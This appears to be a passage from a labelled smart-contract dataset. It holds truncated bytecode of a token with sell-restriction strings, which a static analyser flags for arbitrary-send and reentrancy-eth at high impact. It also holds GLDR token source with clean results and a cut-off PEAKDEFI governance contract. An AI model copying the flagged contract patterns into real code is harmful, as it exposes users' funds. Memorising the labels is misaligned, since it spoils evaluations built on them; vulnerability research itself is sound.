0060208201905081810360008301526129398161269f565b9050919050565b60006020820190508181036000830152612959816126c2565b9050919050565b60006020820190508181036000830152612979816126e5565b9050919050565b6000602082019050818103600083015261299981612708565b9050919050565b600060208201905081810360008301526129b98161272b565b9050919050565b600060208201905081810360008301526129d98161274e565b9050919050565b600060208201905081810360008301526129f981612771565b9050919050565b60006020820190508181036000830152612a1981612794565b9050919050565b60006020820190508181036000830152612a39816127b7565b9050919050565b60006020820190508181036000830152612a59816127da565b9050919050565b60006020820190508181036000830152612a79816127fd565b9050919050565b6000602082019050612a956000830184612820565b92915050565b600060a082019050612ab06000830188612820565b612abd6020830187612657565b8181036040830152612acf81866125ea565b9050612ade60608301856125db565b612aeb6080830184612820565b9695505050505050565b6000602082019050612b0a600083018461282f565b92915050565b6000612b1a612b2b565b9050612b268282612d9b565b919050565b6000604051905090565b600067ffffffffffffffff821115612b5057612b4f612ea2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bc182612d09565b9150612bcc83612d09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c0157612c00612e15565b5b828201905092915050565b6000612c1782612d09565b9150612c2283612d09565b925082612c3257612c31612e44565b5b828204905092915050565b6000612c4882612d09565b9150612c5383612d09565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c8c57612c8b612e15565b5b828202905092915050565b6000612ca282612d09565b9150612cad83612d09565b925082821015612cc057612cbf612e15565b5b828203905092915050565b6000612cd682612ce9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d2b82612d44565b9050919050565b6000612d3d82612d09565b9050919050565b6000612d4f82612d56565b9050919050565b6000612d6182612ce9565b9050919050565b60005b83811015612d86578082015181840152602081019050612d6b565b83811115612d95576000848401525b50505050565b612da482612ee5565b810181811067ffffffffffffffff82111715612dc357612dc2612ea2565b5b80604052505050565b6000612dd782612d09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e0a57612e09612e15565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f53656c6c732070726f6869626974656420666f7220746865206669727374203560008201527f206d696e75746573000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f43616e6e6f742073657420666565732061626f7665206d6178696d756d000000600082015250565b6131cc81612ccb565b81146131d757600080fd5b50565b6131e381612cdd565b81146131ee57600080fd5b50565b6131fa81612d09565b811461320557600080fd5b50565b61321181612d13565b811461321c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d146fd6d9f91e9531583360de1da92def3906ae1269e2cb82b3004a2a74683864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,254 |
0x0ce036bfbb5e2306eb4c22bcf5c763be591f61d9
|
pragma solidity 0.4.25;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract TokenRecoverable is Ownable {
using SafeERC20 for ERC20Basic;
function recoverTokens(ERC20Basic token, address to, uint256 amount) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
require(balance >= amount);
token.safeTransfer(to, amount);
}
}
contract WarfieldToken is CappedToken, TokenRecoverable {
uint256 internal constant TOTAL_TOKENS = 2500000000e18; // 2 500 000 000 tokens
string public constant name = "GOLDER COIN";
string public constant symbol = "GLDR";
uint8 public constant decimals = 18;
address public tokenMinter;
modifier canTransfer() {
require(mintingFinished, "Cannot transfer until minting is not finished");
_;
}
modifier hasMintPermission() {
require(msg.sender == owner || msg.sender == tokenMinter, "Only owner or token minter can mint tokens");
_;
}
constructor() public CappedToken(TOTAL_TOKENS) {
}
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(this), "Tokens cannot be sent to token contract address");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(this), "Tokens cannot be sent to token contract address");
return super.transferFrom(_from, _to, _value);
}
function mint(address _to, uint256 _amount) public hasMintPermission canMint returns (bool) {
require(_to != address(0), "Token receiver must not be address(0)");
return super.mint(_to, _amount);
}
function mintTokens(address[] _receivers, uint256[] _amounts) external hasMintPermission canMint returns (bool) {
require(_receivers.length > 0 && _receivers.length <= 100, "Receivers count must be in [1, 100] range");
require(_receivers.length == _amounts.length, "Receivers and amount count must be equal");
for (uint256 i = 0; i < _receivers.length; i++) {
mint(_receivers[i], _amounts[i]);
}
return true;
}
function setTokenMinter(address _tokenMinter) public onlyOwner {
require(_tokenMinter != address(0), "Token minter cannot be set to address(0)");
tokenMinter = _tokenMinter;
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012c57806306fdde0314610155578063095ea7b3146101df57806318160ddd1461020357806323b872dd1461022a578063313ce56714610254578063355274ea1461027f57806340c10f19146102945780635f3e849f146102b857806366188463146102e457806370a0823114610308578063715018a61461032957806378533e901461033e5780637d64bcb41461035f5780638da5cb5b1461037457806395d89b41146103a5578063a9059cbb146103ba578063c2acc5cf146103de578063cfb3647b1461040a578063d73dd6231461041f578063dd62ed3e14610443578063f2fde38b1461046a575b600080fd5b34801561013857600080fd5b5061014161048b565b604080519115158252519081900360200190f35b34801561016157600080fd5b5061016a61049b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a457818101518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101eb57600080fd5b50610141600160a060020a03600435166024356104d2565b34801561020f57600080fd5b50610218610538565b60408051918252519081900360200190f35b34801561023657600080fd5b50610141600160a060020a036004358116906024351660443561053e565b34801561026057600080fd5b50610269610664565b6040805160ff9092168252519081900360200190f35b34801561028b57600080fd5b50610218610669565b3480156102a057600080fd5b50610141600160a060020a036004351660243561066f565b3480156102c457600080fd5b506102e2600160a060020a03600435811690602435166044356107bf565b005b3480156102f057600080fd5b50610141600160a060020a0360043516602435610895565b34801561031457600080fd5b50610218600160a060020a0360043516610984565b34801561033557600080fd5b506102e261099f565b34801561034a57600080fd5b506102e2600160a060020a0360043516610a0d565b34801561036b57600080fd5b50610141610ad9565b34801561038057600080fd5b50610389610b5d565b60408051600160a060020a039092168252519081900360200190f35b3480156103b157600080fd5b5061016a610b6c565b3480156103c657600080fd5b50610141600160a060020a0360043516602435610ba3565b3480156103ea57600080fd5b506101416024600480358281019290820135918135918201910135610cc0565b34801561041657600080fd5b50610389610edf565b34801561042b57600080fd5b50610141600160a060020a0360043516602435610eee565b34801561044f57600080fd5b50610218600160a060020a0360043581169060243516610f87565b34801561047657600080fd5b506102e2600160a060020a0360043516610fb2565b60035460a060020a900460ff1681565b60408051808201909152600b81527f474f4c44455220434f494e000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b60035460009060a060020a900460ff1615156105ca576040805160e560020a62461bcd02815260206004820152602d60248201527f43616e6e6f74207472616e7366657220756e74696c206d696e74696e6720697360448201527f206e6f742066696e697368656400000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038316301415610651576040805160e560020a62461bcd02815260206004820152602f60248201527f546f6b656e732063616e6e6f742062652073656e7420746f20746f6b656e206360448201527f6f6e747261637420616464726573730000000000000000000000000000000000606482015290519081900360840190fd5b61065c848484610fd5565b949350505050565b601281565b60045481565b600354600090600160a060020a03163314806106955750600554600160a060020a031633145b1515610711576040805160e560020a62461bcd02815260206004820152602a60248201527f4f6e6c79206f776e6572206f7220746f6b656e206d696e7465722063616e206d60448201527f696e7420746f6b656e7300000000000000000000000000000000000000000000606482015290519081900360840190fd5b60035460a060020a900460ff161561072857600080fd5b600160a060020a03831615156107ae576040805160e560020a62461bcd02815260206004820152602560248201527f546f6b656e207265636569766572206d757374206e6f7420626520616464726560448201527f7373283029000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6107b8838361114a565b9392505050565b600354600090600160a060020a031633146107d957600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038616916370a082319160248083019260209291908290030181600087803b15801561083a57600080fd5b505af115801561084e573d6000803e3d6000fd5b505050506040513d602081101561086457600080fd5b505190508181101561087557600080fd5b61088f600160a060020a038516848463ffffffff61117916565b50505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083106108e957336000908152600260209081526040808320600160a060020a038816845290915281205561091e565b6108f9818463ffffffff61123116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146109b657600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a03163314610a2457600080fd5b600160a060020a0381161515610aaa576040805160e560020a62461bcd02815260206004820152602860248201527f546f6b656e206d696e7465722063616e6e6f742062652073657420746f20616460448201527f6472657373283029000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600090600160a060020a03163314610af357600080fd5b60035460a060020a900460ff1615610b0a57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60408051808201909152600481527f474c445200000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161515610c2f576040805160e560020a62461bcd02815260206004820152602d60248201527f43616e6e6f74207472616e7366657220756e74696c206d696e74696e6720697360448201527f206e6f742066696e697368656400000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038316301415610cb6576040805160e560020a62461bcd02815260206004820152602f60248201527f546f6b656e732063616e6e6f742062652073656e7420746f20746f6b656e206360448201527f6f6e747261637420616464726573730000000000000000000000000000000000606482015290519081900360840190fd5b6107b88383611243565b6003546000908190600160a060020a0316331480610ce85750600554600160a060020a031633145b1515610d64576040805160e560020a62461bcd02815260206004820152602a60248201527f4f6e6c79206f776e6572206f7220746f6b656e206d696e7465722063616e206d60448201527f696e7420746f6b656e7300000000000000000000000000000000000000000000606482015290519081900360840190fd5b60035460a060020a900460ff1615610d7b57600080fd5b600085118015610d8c575060648511155b1515610e08576040805160e560020a62461bcd02815260206004820152602960248201527f52656365697665727320636f756e74206d75737420626520696e205b312c203160448201527f30305d2072616e67650000000000000000000000000000000000000000000000606482015290519081900360840190fd5b848314610e85576040805160e560020a62461bcd02815260206004820152602860248201527f52656365697665727320616e6420616d6f756e7420636f756e74206d7573742060448201527f626520657175616c000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b5060005b84811015610ed357610eca868683818110610ea057fe5b90506020020135600160a060020a03168585848181101515610ebe57fe5b9050602002013561066f565b50600101610e89565b50600195945050505050565b600554600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610f22908363ffffffff61132216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610fc957600080fd5b610fd281611335565b50565b600160a060020a038316600090815260208190526040812054821115610ffa57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561102a57600080fd5b600160a060020a038316151561103f57600080fd5b600160a060020a038416600090815260208190526040902054611068908363ffffffff61123116565b600160a060020a03808616600090815260208190526040808220939093559085168152205461109d908363ffffffff61132216565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546110df908363ffffffff61123116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60006004546111648360015461132290919063ffffffff16565b111561116f57600080fd5b6107b883836113b3565b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156111f557600080fd5b505af1158015611209573d6000803e3d6000fd5b505050506040513d602081101561121f57600080fd5b5051151561122c57600080fd5b505050565b60008282111561123d57fe5b50900390565b3360009081526020819052604081205482111561125f57600080fd5b600160a060020a038316151561127457600080fd5b33600090815260208190526040902054611294908363ffffffff61123116565b3360009081526020819052604080822092909255600160a060020a038516815220546112c6908363ffffffff61132216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b8181018281101561132f57fe5b92915050565b600160a060020a038116151561134a57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600090600160a060020a03163314806113d95750600554600160a060020a031633145b1515611455576040805160e560020a62461bcd02815260206004820152602a60248201527f4f6e6c79206f776e6572206f7220746f6b656e206d696e7465722063616e206d60448201527f696e7420746f6b656e7300000000000000000000000000000000000000000000606482015290519081900360840190fd5b60035460a060020a900460ff161561146c57600080fd5b60015461147f908363ffffffff61132216565b600155600160a060020a0383166000908152602081905260409020546114ab908363ffffffff61132216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820c52f8aa70329a4322bc064c629eecd68f78b81e94cfaa5fc6c56f010ce752e170029
|
{"success": true, "error": null, "results": {}}
| 8,255 |
0x1a76fF40cDDBF908E3289414d54F6CAA85beF0A2
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "PEAKDEFI Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 40_000_000e8; } // 40,000,000 = 4% of PEAK
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 10_000_000e8; } // 10,000,000 = 1% of PEAK
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks)
/// @notice The address of the PEAKDEFI protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the PEAK governance token
PeakInterface public peak;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address peak_, address guardian_) public {
timelock = TimelockInterface(timelock_);
peak = PeakInterface(peak_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(peak.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || peak.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
